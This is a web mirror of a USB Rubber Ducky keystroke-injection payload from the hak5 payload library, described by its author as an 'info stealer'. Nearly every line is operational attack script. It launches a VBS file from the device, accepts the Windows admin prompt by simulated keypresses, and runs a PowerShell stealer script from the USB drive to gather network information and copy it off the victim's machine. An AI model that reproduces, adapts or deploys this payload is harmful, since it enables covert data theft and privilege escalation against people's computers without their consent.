Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/Gather_Network_Info/payload.txt
2968 views
1
REM gathernetworkInfo a info stealer script by JonnyBanana
2
REM require twind duck Firmware
3
REM https://github.com/JonnyBanana/Rubber_Ducky_Gather_Network_Info
4
REM large delay beacause Windows require a lot of time to read the Ducky with twin duck firmware
5
DELAY 10000
6
GUI R
7
DELAY 200
8
STRING cmd /C "start gatherNetworkInfo.vbs"
9
DELAY 200
10
REM run as admin
11
CTRL-ALT ENTER
12
DELAY 100
13
LEFTARROW
14
DELAY 100
15
ENTER
16
REM the scripts require a little of time to create the files....
17
DELAY 15000
18
CTRL ESC
19
DELAY 200
20
STRING powershell
21
DELAY 200
22
ENTER
23
DELAY 200
24
REM the Rubber Ducky MUST renamed on " _ " (bottom bar)
25
STRING .((gwmi win32_volume -f 'label=''_''').Name+'DuckyStealer.ps1')
26
DELAY 200
27
ENTER
28
REM the last command takes about thirty seconds to copy all the informations
29
REM so be patient...
30
31